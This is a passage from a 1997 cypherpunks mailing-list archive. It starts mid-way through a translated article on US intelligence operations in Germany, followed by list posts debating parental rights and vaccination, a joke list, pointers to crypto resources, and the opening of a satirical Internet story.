Right next to it, in the German Mangfall barrack, resides the BND's
so-called long distance radio traffic site.  It (object "Orion") may
use the American antennae, nearly 100 eavesdroppers are analyzing the
cyrillic babel of speech.

But the peace is deceptive.  The intelligence empire NSA (estimated
budget: 3.5 billion dollar, about 100,000 employees) maintains a large
complex in Bad Aibling that is terra incognita to the German agencies.
By far, it is not just about the legitimate American safety interests.

In the midst of Germany, there is a control center for the many
American espionage sattelites that, according to a security expert in
Bonn, "long since do not only spy out the East".  The celestial bodies
of American origin circulating in close orbit suck in electronic
signals above Germany like a huge vacuum cleaner.  With encrypted
signals, Bad Aibling queries the memory of the satellites and searches
the collected phone conversations, faxes and computer traffic for
interesting stuff.

Until 1995 the site officially used the name of the NSA.  To keep up
appearances, then a US Air Force lieutenant colonel took over command,
the military flag is demonstratively fluttering in the wind.  But
still more than 1,000 eavesdroppers are working in the huge complex,
according to BND estimates.  Estimated 150 of them are directly from
the NSA that does the controlling and sets the tasks.

In spite of many inquiries, Hortensie III has strictly denied to
exchange all information from "non-military intelligence".  The BND,
they argue, can offer nothing of comparable value.

But it probably is more about not telling the Germans what they really
do.  If American and German security experts are right, European
companies are systematically spied out from Bad Aibling.

Years ago, US president Bill Clinton decreed American agencies to
larger commitment in economic espionage.  When the European airplane
giant Airbus Industries, of which Germany holds 37.9%, was competing
for a large Saudi Arabian contract with two US groups, the NSA
intervened.  It intercepted all faxes and phone conversations between
Airbus and the Saudis.  So, the Americans knew their opponent and
their offers were unbeatable - after all the orders valued at six
billion dollars.

While the British and French to a certain extend respect Germany's
souvereignty, the Americans, who had brought up the BND, behave like a
victor power.  They insist on supplementary agreements on intelligence
cooperation with "the allied forces".  Thus, the Germans must respect
"necessities of military safety" of Nato contingents here.  There is
much room for secretive manners in German territory.

In its "Westport" office in the East of Munich, the CIA until now
maintains a so-called inquiry office.  The Americans ask
asylum-seeking refugees and emigrants from whom they expect
informaition to come to Munich from all Germany.  Pro forma, the BND
is asked for endorsement, but the talks usually take place without
German participation, and the BND does not learn about possible CIA
recruitments.

The Americans are questioning deserted Russian soldiers, war refugees
from former Yugoslavia, and asylum-seekers from the Near East.  The
VIPs of them are offered asylum in the USA.  Even applicants from
overseas are brought to the experts in Munich for interrogation.

For a long time, German politics have ignored the activities of the
rogue agency.  In autumn 1994, the Chancellor's Office installed a
working group, strictly confidential of course, to get the American
and other friendly agencies under control.

Three ministries and three intelligence agencies were sitting at the
table, headed by Rudolf Dolzer, professor of international law, at
that time Head of Unit in the Chancellor's Office.  "What they are
doing here is not possible", Dolzer got exited.  "They must comply
with law and oder."

The group boldly planned to prohibit the Americans from interrogating
asylum-seekers without German participation, in Bad Aibling BND
specialists should watch the NSA, recruiting sources should be
prohibited.  After all - they concluded - espionage activities also
from friendly states are not politically protected.

In 1995, their will of protection suddenly vanished.  Distances
between meetings grew longer, finally the Chancellor's Office didn't
send out invitations any more.  Above all, the BfV that already had
created lists with names of suspicious agents was disappointed.
"Someone on the very top must have pulled the plug", someone from an
intelligence agency says.

It is dubious if the case of CIA agent Humphries will cause with the
Americans to change their policy.  At least, friendship with America
means a big deal to Helmut Kohl who does not consider the intelligence
business especially important.

The Chancellor is not even scared by the sinister NSA.  He does have
telephones that are guaranteed to be wiretap-proof.  Even when he is
on vacation at the Wolfgangsee [in Austria], the BND always installs a
device which not even the NSA can crack.  But the secure devices have
one important drawback: First the partner has to stop speaking before
you can speak yourself.

That is why the Chancellor to the displeasure of the security people
prefers the old telephone - a friend trusts a friend.

[End]

Thanks to anonymous.

For earlier reports on US spying in Germany:

http://jya.com/despon.txt
http://jya.com/ciaami.txt
http://jya.com/really.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 18 Mar 1997 20:09:05 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703181918.TAA17082@mailhub.amaranth.com>
Message-ID: <332F6677.144C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
>    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> >Suppose X chooses to innoculate their kids and Y chooses not to innoculate
> >their kids against, say, polio; and Y's kids get it. They're not going to
> >give it to someone whose parents chose to innoculate them. (This is a kind
> >of borderline example, not unlike circumcision.  The individual affected
> >by the choice is too young to understand what it's all about, but doesn't
> >want to be stuck with a needle. Why are the parents more qualified to make
> >decisions for him than the state?)

> The issue of who is more qualified is irrelevent.
> The parents are the ONLY ones who have a right to determin the welfare of
> their childern. If the parents determin that the risks of reaction to the
> innoculation outways the benifits that choice is their's and their's alone.

I inherited three kids (9, 11, and 13) in November, and am starting
to get used to the schools' intrusions just now.  So far, I've
prepared one form for the kids to hand to the teacher when there
is an off-campus trip scheduled.  Like who's driving, are they
certified by the school board, chaperones (who are they), etc.

Recently they did a surprise dental inspection of the youngest kid.
I'm preparing a form to tell the schools that any certification they
require on the kids as to health, etc. will be provided by our
doctors, not theirs, so the kids can skip their inspections.
So far I haven't met with any serious opposition, but who knows?

(I'm informing them that I'm a Puritan, and follow very strict
religious practices)

Today's Long Beach paper had an extensive article on "pregnancy
counciling support groups" for sixth grade girls (in Santa Ana?),
and the "support groups" were mandatory. Religious fundamentalists
are certain to hit the ceiling on this one - not just the increase
in sexual awareness aspect, but the hoodoo-voodoo aspect of a
"support" group that smacks of New Age practices (their article,
not mine).  According to the article, the groups have an amazing
record, i.e., pregnancies down by 80% or more among the teenage girls.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Mar 1997 18:55:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Humor] Dogs and Computers
In-Reply-To: <9703182242.AA18533@banshee.BASISinc.com>
Message-ID: <332F4C3C.73B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


The Top 20 Reasons Dogs Don't Use Computers


[20] Can't stick their heads out of Windows '95.

[19] Fetch command not available on all platforms.

[18] Hard to read the monitor with your head cocked to one side.

[17] Too difficult to "mark" every website they visit.

[16] Can't help attacking the screen when they hear "You've Got Mail."

[15] Fire hydrant icon simply frustrating.

[14] Involuntary tail wagging is dead giveaway they're browsing
www.pethouse.com instead of working.

[13] Keep bruising noses trying to catch that MPEG frisbee.

[12] Not at all fooled by Chuckwagon Screen Saver.

[11] Still trying to come up with an "emoticon" that signifies
tail-wagging.

[10] Oh, but they WILL... with the introduction of the Microsoft
Opposable Thumb.

[09] Three words: Carpal Paw Syndrome

[08] 'Cause dogs ain't GEEKS! Now, cats, on the other hand...

[07] Barking in next cube keeps activating YOUR voice recognition
software.

[06] SmellU-SmellMe still in beta test.

[05] SIT and STAY were hard enough, GREP and AWK are out of the
question!

[04] Saliva-coated mouse gets mighty difficult to manuever.

[03] Annoyed by lack of newsgroup, alt.pictures.master's.leg.

[02] Butt-sniffing more direct and less deceiving than online chat
rooms.

and the Number 1 Reason Dogs Don't Use Computers...

[01] TrO{gO DsA[M,bN HyAqR4tDc TgrOo TgYPmE WeIjTyH P;AzWqS,.


                 |
            ,@ __|-.
       ,_~o/   \/  |    Through the router, off the switch,
         |/        |    down the cable, nothing but net.
        / >        |
       '  `        |                   The @Home slam dunk
                   |
 __________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Mar 1997 19:41:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <v03007802af53b634ded8@[207.167.93.63]>
Message-ID: <1ais4D16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
>
> Igor asked a one-line question, and I gave a one-line answer. I don't
> intend to debate libertarian or ethical theory here.

You don't like Russians, do you?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Mar 1997 18:55:08 -0800 (PST)
To: Mark Hedges <hedges@rigel.infonex.com>
Subject: Re: ADV Weekly Transcripts
In-Reply-To: <199703182300.PAA22811@rigel.infonex.com>
Message-ID: <332F5530.7E76@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark Hedges wrote:
>  America's births were at 2.1 per female.
> Some nonindustrialized countries were as high as 7.4 per female,
> average. 
> 
> Most of my friends and lovers are of races other than white (my race),
> and I am proud of this fact. Their diverse experience brings to me
> stories and tales of foreign lifestyles from which I can learn.

  John Gilmore's envy of Dr. Vulis came from the fact that Dr. Vulis
was bringing 7.4 new riff-raff to the list, for every 2.1 crypto 
subscribers brought to the list by Gilmore.
  Thus Gilmore removed him from the list, in an attempt to limit the
diverse experience the riff-raff have to share via their stories and 
tales of riff-raff lifestyles from which we all can learn.
  Shame on Gilmore for his CypherPunk Supremacist philosophy which 
strove to inhibit the immigration of those from more unfortunate lists
where logic and reason were in short supply.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 18 Mar 1997 21:45:06 -0800 (PST)
To: " C  M" <cookies_monsters@hotmail.com>
Subject: Cypherpunks pointers
In-Reply-To: <199703152006.MAA18486@f4.hotmail.com>
Message-ID: <3.0.1.32.19970318213850.006169f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:06 PM 3/15/97 -0800, cookies_monsters@hotmail.com wrote:
>I came accross the "Cypherpunks" link and I wanted to know more? Can you tell
>me where to get more information. I have little clue as to what this outfit
>does. Thanks.

Sorry for the delay; it's been a busy week.  I'll forward you a couple of 
articles that have come out recently.  

The original Cypherpunks archive is on www.csua.berkeley.edu/cypherpunks,
which has good stuff though it hasn't been updated recently.
Tim May's Cyphernomicon is a great summary, available in one or more pieces.
Cypherpunks started as a discussion group, which became a mailing list,
for people interested in cryptographic and computer techniques for 
protecting privacy; if you can convince the government to pass laws 
protecting privacy, or refrain from passing laws attacking it,
you're only protected until the next Congresscritter or bureaucrat feels 
like writing a new law - but if you develop and publish software that
lets you protect your conversations with strong crypto, they're secure
until the laws of mathematics change (happens occasionally :-).
"Cypherpunks write code."  Cypherpunks also debug code - sometimes
your crypto software is only secure until the next implementation bug
gets found.  Some of the interesting work that cypherpunks have done
has been popularizing and enhancing PGP, developing remailers,
cracking 40-bit crypto and other weak government-imposed limits,
finding bugs in the Clipper chip, and finding bugs in Netscape and MSIE.
A perennial topic is digital cash, which is an important part of a
free economy in cyberspace, and many cypherpunks have either worked on,
or with, or around (:-) David Chaum's Digicash company; www.digicash.com.

Getting on the list - the list used to be on toad.com, but has
since migrated to several places, which will eventually be gatewayed together
into some joint mailing list.  cypherpunks-request@cyberpass.net
will point you to the information for cyberpass.net, which is probably
the mailbot majordomo@sirius.infonex.com.  cypherpunks-request@algebra.com
will another section, and alt.cypherpunks is a Usenet group.
Some related lists can be found at coderpunks-request@toad.com and
cryptography-request@c2.net.

Archives - AltaVista knows where the archives live....
Good places to look for software include ftp.ox.ac.uk and ftp.funet.fi.
ftp.pgp.net will pick a random non-US location that carries PGP.
www.pgp.com is PGP, Inc.'s US-based web site.  www.rsa.com has been 
known to carry interesting material as well.  John Young posts all
sorts of interesting news to the list; see www.jya.com.
Many strange things end up in the incoming directory on replay.com.
news://nntp.hks.net and infinity.nus.sg have also carried archives in the past.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 18 Mar 1997 18:40:18 -0800 (PST)
To: "William H. Geiger III" <dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <9HHR4D12w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970318213953.007c9e80@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:11 PM 3/18/97 -0600, William H. Geiger III wrote:
*|-----BEGIN PGP SIGNED MESSAGE-----
*|
*|
*|In <9HHR4D12w165w@bwalk.dm.com>, on 03/18/97 at 06:21 AM,
*|   dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
*|
*|
*|>camcc@abraxis.com (Alec) writes:
*|
*|>> Tim,
*|>>
*|>> There would be more room if your sig weren't so long. :->
*|
*|>Guys with short dicks use long sigs.
*|
*|>> As you know, every year there are a certain number of child deaths as a
*|>> result of reactions to state-mandated innoculations/vaccinations.  Gone
too?
*|>>
*|>> Perhaps the difference, or rationale, here is the possible spread of
disease
*|>> to others, rather than trying to protect the individual from himself.
*|
*|>Suppose X chooses to innoculate their kids and Y chooses not to innoculate
*|>their kids against, say, polio; and Y's kids get it. They're not going to
*|>give it to someone whose parents chose to innoculate them. (This is a kind
*|>of borderline example, not unlike circumcision.  The individual affected
*|>by the choice is too young to understand what it's all about, but doesn't
*|>want to be stuck with a needle. Why are the parents more qualified to make
*|>decisions for him than the state?)

*|
*|The issue of who is more qualified is irrelevent.
*|
*|The parents are the ONLY ones who have a right to determin the welfare of
*|their childern. If the parents determin that the risks of reaction to the
*|innoculation outways the benifits that choice is their's and their's alone.
*|

Not in every case do the parents have the right to determine what treatment
shall be performed or whether it shall occur at all. More often than not the
courts have allowed medical treatment for the child who is not able to
consent to such treatment for himself.

In many instances courts have stepped in to authorize blood transfusions for
children of Jehovah's Witnesses, who follow Biblical injunctions not to "eat"
blood (Gen. 9:4). Recently the Church of Christ Scientist [?] has been under
societal and governmental attack for insisting on substituting healers for
medical teams even in cases of children afflicted by cancer accompanied by
apparently unbearable pain.

Parents most certainly are not the only ones to determine the welfare of
their children; society has assumed a significant role and typically moves to
protect the child from the parents or from the _beliefs_ of the parents.

Alec
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=VTdX
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Tue, 18 Mar 1997 19:40:34 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <3.0.1.32.19970318213953.007c9e80@smtp1.abraxis.com>
Message-ID: <Pine.SOL.3.92.970318213421.15452D-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


Yeah, children.  They are a hard thing for anarchy.  Looking
back, Bukharin, Lenin, didn't have much to say about children,
as people.  OTOH, since the workers at that time included children,
maybe the were justified in ignoring the issue and just robbing banks.
Where, then, there was no FDIC.:)
MacN
If the sarcasm isn't dripping, scuse me I tried.

> *|
> *|The parents are the ONLY ones who have a right to determin the welfare of
> *|their childern. If the parents determin that the risks of reaction to the
> *|innoculation outways the benifits that choice is their's and their's alone.
> *|
>
> Not in every case do the parents have the right to determine what treatment
> shall be performed or whether it shall occur at all. More often than not the
> courts have allowed medical treatment for the child who is not able to
> consent to such treatment for himself.
>
> In many instances courts have stepped in to authorize blood transfusions for
> children of Jehovah's Witnesses, who follow Biblical injunctions not to "eat"
> blood (Gen. 9:4). Recently the Church of Christ Scientist [?] has been under
> societal and governmental attack for insisting on substituting healers for
> medical teams even in cases of children afflicted by cancer accompanied by
> apparently unbearable pain.
>
> Parents most certainly are not the only ones to determine the welfare of
> their children; society has assumed a significant role and typically moves to
> protect the child from the parents or from the _beliefs_ of the parents.
>
> Alec
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
>
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> KMTyKNBNiUxMm3p3VjxeaF3/xoqXlRINN8VNdv7uekHEsgeB3l/Aa54MpI4CvARY
> sOkt83+xSfQ=
> =VTdX
> -----END PGP SIGNATURE-----
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Mar 1997 20:37:39 -0800 (PST)
To: Blanc Weber <blancw@MICROSOFT.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <88CE23A0B727D0118BB000805FD47524010C1FF8@RED-81-MSG.dns.microsoft.com>
Message-ID: <332F6C98.34CB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:

> From:   Declan McCullagh
> The short answer, perhaps, is that government should as a
> general rule adopt those policies that allow the greatest 
> freedom over the long term.
> .....................................................
 
> 'Government' is a coercive medium for effecting results; if everything
> could be accomplished by coercion, then it would rightly be expected
> that everything (everyone) should be always to be subject to coercion in
> order to have a smoothly running social machine.

  "When Hitler was Fuhrer, the trains ran on time."
  The government's efforts at coercion are often justified by raising
the dark spectre of the chaos/anarchy that will result from all of the
cogs not being in perfect alignment.
  Naturally, in this scenario, all cogs which are out of alignment are
defective, and therefore subject to 'adjustment' by various forms of
heat and hammering.

> But if everything (all the benefits that people expect from social
> arrangements) could be accomplished by coercion, we wouldn't be the kind
> of life forms that we are.   We would be the equivalent of "technology",
> subject to someone (else's) latest algorithmic program.

  I wouldn't be so certain that we aren't, if I were you.
  There are philosophies and spiritualities which proffer the view of
"man as a machine," in which our actions can be seen as much more
"mechanical" than most of us would care to admit.
  Of course, the obvious fallacy of this view is shown by the fact
that, were it true, our attitudes and actions would be controlled
by advertising and ten-second sound-bytes yanking at our emotions, 
rather than by the reason and logic that so clearly dominates our
society, as can be demonstrated with one's index finger and a
TV remote-control unit.

<flushing sound> ["Toto has left the building."]
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Verification message sender <verify@www.nytimes.com>
Date: Tue, 18 Mar 1997 21:18:09 -0800 (PST)
Subject: No Subject
Message-ID: <199703190519.AAA182696@content36a.advantis.com>
MIME-Version: 1.0
Content-Type: text/plain


To: 
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Reply-to: verify@nytimes.com
Subject: Welcome to The New York Times on the Web


Thank you for joining The New York Times on the Web community.

Your subscriber ID is   nifft
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 18 Mar 1997 22:42:24 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703182356.XAA02032@mailhub.amaranth.com>
Message-ID: <199703190047.AAA02484@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199703182356.XAA02032@mailhub.amaranth.com>, on 03/18/97 at 08:39 PM,
   Alec <camcc@abraxis.com> said:


>Not in every case do the parents have the right to determine what
>treatment shall be performed or whether it shall occur at all. More often
>than not the courts have allowed medical treatment for the child who is
>not able to consent to such treatment for himself.

>In many instances courts have stepped in to authorize blood transfusions
>for children of Jehovah's Witnesses, who follow Biblical injunctions not
>to "eat" blood (Gen. 9:4). Recently the Church of Christ Scientist [?] has
>been under societal and governmental attack for insisting on substituting
>healers for medical teams even in cases of children afflicted by cancer
>accompanied by apparently unbearable pain.

>Parents most certainly are not the only ones to determine the welfare of
>their children; society has assumed a significant role and typically moves
>to protect the child from the parents or from the _beliefs_ of the
>parents.

Just because the government subverts the RIGHTS of the parents does not
mean that the parents do not have those rights.

A parent is the sole person who has a *RIGHT* to determine the welfair of
their childern. You do not have that right, I do not have that right, the
government does not have that right. To beleive that the government should
"protect" a child from the beliefs of its parents is truly
FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).

I as a parent have the sole right to determine what religon to teach my
children, how to rase my children, how to teach my children, how to reward
my children and how to punish my children PERIOD.

Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
as they are quite out of place here.

"When the wants of society override the rights of the individule that
society must die" -- whgiii

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I'm an OS/2 developer...I don't NEED a life!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 18 Mar 1997 22:51:53 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
Message-ID: <199703190057.AAA02562@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In, on 03/18/97 at 10:07 PM,
   Dale Thorn <dthorn@gte.net> said:


>William H. Geiger III wrote:
>>    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>> >Suppose X chooses to innoculate their kids and Y chooses not to innoculate
>> >their kids against, say, polio; and Y's kids get it. They're not going to
>> >give it to someone whose parents chose to innoculate them. (This is a kind
>> >of borderline example, not unlike circumcision.  The individual affected
>> >by the choice is too young to understand what it's all about, but doesn't
>> >want to be stuck with a needle. Why are the parents more qualified to make
>> >decisions for him than the state?)

>> The issue of who is more qualified is irrelevent.
>> The parents are the ONLY ones who have a right to determin the welfare of
>> their childern. If the parents determin that the risks of reaction to the
>> innoculation outways the benifits that choice is their's and their's alone.

>I inherited three kids (9, 11, and 13) in November, and am starting to get
>used to the schools' intrusions just now.  So far, I've prepared one form
>for the kids to hand to the teacher when there is an off-campus trip
>scheduled.  Like who's driving, are they certified by the school board,
>chaperones (who are they), etc.

>Recently they did a surprise dental inspection of the youngest kid. I'm
>preparing a form to tell the schools that any certification they require
>on the kids as to health, etc. will be provided by our doctors, not
>theirs, so the kids can skip their inspections. So far I haven't met with
>any serious opposition, but who knows?

>(I'm informing them that I'm a Puritan, and follow very strict religious
>practices)

>Today's Long Beach paper had an extensive article on "pregnancy counciling
>support groups" for sixth grade girls (in Santa Ana?), and the "support
>groups" were mandatory. Religious fundamentalists are certain to hit the
>ceiling on this one - not just the increase in sexual awareness aspect,
>but the hoodoo-voodoo aspect of a "support" group that smacks of New Age
>practices (their article, not mine).  According to the article, the groups
>have an amazing record, i.e., pregnancies down by 80% or more among the
>teenage girls.

Well the best way to aviod all this is to "Home School". In the end they
will get a much better education and they woun't turn out to be lock-step
robots for the STATE.

This requires a two parent home though (politically incorrect these days)
and a wife with a few brain cells. :)

The next best thing is a private school but even they are being corrupted
by all this touchy feely crap. Still better than sending them to the
STATE'S reeducation centers.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I don't do Windows, but OS/2 does.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Mar 1997 23:16:05 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703190615.AAA00723@smoke.suba.com>
Message-ID: <332F8E2F.1D77@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
>         So, parents should be allowed to:
>         1) Beat their children on a daily basis, because it is good for them.
>         2) Refuse to educate their children _at all_ because Knowlege is the
>            devils work.
>         3) Not clothe their children at all beause God Will Provide.
>         4) Teach their children how to perform Oral, Anal, and "straight" sex
>            because they need to learn it someday?

  Mom? Is that you, mom? 
  Where did you go with that sailor?
-- 

Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Mar 1997 01:20:48 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703190047.AAA02484@mailhub.amaranth.com>
Message-ID: <332FAF09.CD3@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
>    Alec <camcc@abraxis.com> said:
> >Not in every case do the parents have the right to determine what
> >treatment shall be performed or whether it shall occur at all. More often
> >than not the courts have allowed medical treatment for the child who is
> >not able to consent to such treatment for himself.

> A parent is the sole person who has a *RIGHT* to determine the welfair of
> their childern. You do not have that right, I do not have that right, the
> government does not have that right. To beleive that the government should
> "protect" a child from the beliefs of its parents is truly
> FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).

As a person who was once a child in a very unhappy home (5 kids,
nobody talks to anyone else), I can testify that I would have been
willing at several points to take a chance with the State.

Would it have helped or hurt more?  I believe that would have depended
on knowing how much worse things would have gotten at home (some
homes get worse, some get better, some stay the same), and just how
bad it would have been under the State.  I think those are the issues,
but how are you gonna predict which is worse, unless you have some
real incriminating evidence against the parents?

On a related note, there's a valid point about the State raising
kids being not only unnatural, but leading to bad things preparing
the kids for a future statist society.  Just another factor as far
as I'm concerned, when the life and safety of a defenseless child
is in question.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 18 Mar 1997 23:25:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 1-2
Message-ID: <332F94CF.4646@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II 


WebWorld & the Mythical 'Circle
of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl
Publishing


Arnold


My name is Arnold, and I'm as sane as you are, probably
saner. But I'm sitting here listening to Jesus #1 argue with Jesus
#2, and you're not, so I'll resist the urge to try to convince
you that I don't belong in Nuthouse Number Nine, Looney Level
'Leven.

It's officially designated as the "Money Market
Psychiatric Auditing Facility". That's what the 'Keyholders'
call it. They are the people who get to go home at night. Half
of them are nuttier than Jesus #1, but they're towing the line,
preaching the party platform, so they have 'Level Two' classification
and they get special privileges. Like lording it over levels Three
through Eleven.

The Keyholders get crapped on by the rest of the
Fund'ers on the outside and when they come in for work they crap
on us-with interest. They're allowed DDC's, eCa$h Direct Debit
Cards, which they flash around on the inside every chance they
get, acting like they're god-almighty, but on the outside they
crawl around like worms, trying their best to act like 'Ca$hmen',
but getting their comeuppance when it comes time to pay and they
have to show their DDC.
Schultz used to be the biggest asshole among the current staff
of Keyholders, but I got him busted to Level Three last week,
so I'm finally gaining a bit of acceptance from the rest of the
inmates. It's taken a long time.

It's bad enough being sent for treatment in a facility
run by your own government (where you have at least a modicum
of social standing based on the Level you were downgraded from),
but I'm not a citizen of the Money Market Channel, so I don't
have any kind of peerage here.

I'm a Net'er, a citizen of the InterNet Global Village,
so on the outside I'm not subject to the laws of any of the 500
Channel Governments. 
At the end of Channel War III we got Armistice Agreements from
all 500 Channel Governments recognizing us as an independent Government,
with a one-time right to confer citizenship on the members of
our underground movement. In return, we restored control of the
transmission satellites back to their respective governments and
agreed not to proselytize among the other Channel Governments'
citizens. 
We also got free-roaming rights to all Transmission stations,
including the Nuclear Laser Moon Unit, in return dismantling our
Hackers Division and putting an article in the InterNet Bill Of
Rights banning computer hacking in any way, shape or form.

I can see you rolling your eyes, smiling smugly at
me. Another guy in Nuthouse Number Nine, claiming sanity, but
ranting and raving about an imaginary war that never really happened.
"Next," you're telling yourself, "he'll be telling
us old-wives tales about the 'Circle of Eunuchs' and claiming
he was actually a member."

I know Channel War III happened. I signed the Armistice
Agreement.

I was the Head Hacker.


Jonathan


The room started to spin, and Jonathan put his hand on the edge
of his desk, to steady himself. He realized that he had stopped
breathing, and he inhaled mightily, causing the room to spin even
more. After a few moments, the room stopped spinning, but Jonathan's
mind continued to remain enmeshed in a conflicting whirl of old
memories and new fears-all engendered by the receipt of a simple
CyberPost.

A CyberPost from the past. A hundred years in the past.

A CyberPost which had shown up on his personal GraphiCube this
morning, a century after being sent via an antiquated communications
mode which the Masters of Antiquity called email. A CyberPost
addressed to an anarchist organization that had been outlawed
for over a hundred years-the CypherPunks.

Jonathan had immediately, instinctively, hit the illegal kill-switch
on his ground-connection and booted his Telsa Snarf Barrier.
He had needed time to stop the room-and his mind-from spinning.
But how long had he been sitting here, motionless? GlobeNet Security
would be re-establishing his ground-connection in a matter of
minutes and he would have to have an answer ready for his cutting
of the ground-link to Headquarters.
Jonathan hastily saved the CyberPost to a disposable HydroCube
that he could swallow, if need be. He pulled an Insta-Log chip
of his own making out from under his seat and placed it online,
booting down the Telsa Snarf Barrier at the same time, just as
the GraphiCube launched an overlay of the Day Monitor, Rabin.

Rabin did not look happy.
"Third time this week, Jonathan, what's going on?",
Rabin's frown twitched with impatience. "If I have to put
you on report, I can guarantee that you can kiss your HomeWork
Privileges goodbye."

"I'm still working on that InfoWar Scrambler Mechanism for
GS-7, Rabin." Jonathan thought quickly, knowing that he was
skirting the edge of disaster. "Those damn wanna-be programmers
that you assholes keep hiring to keep your relatives happy don't
know the difference between a Test-Boot and a Transmit-Boot."

Jonathan paused, then added, "I don't need my head on a chopping
block because Headquarters thinks that I'm launching my own Channel
Revolution."

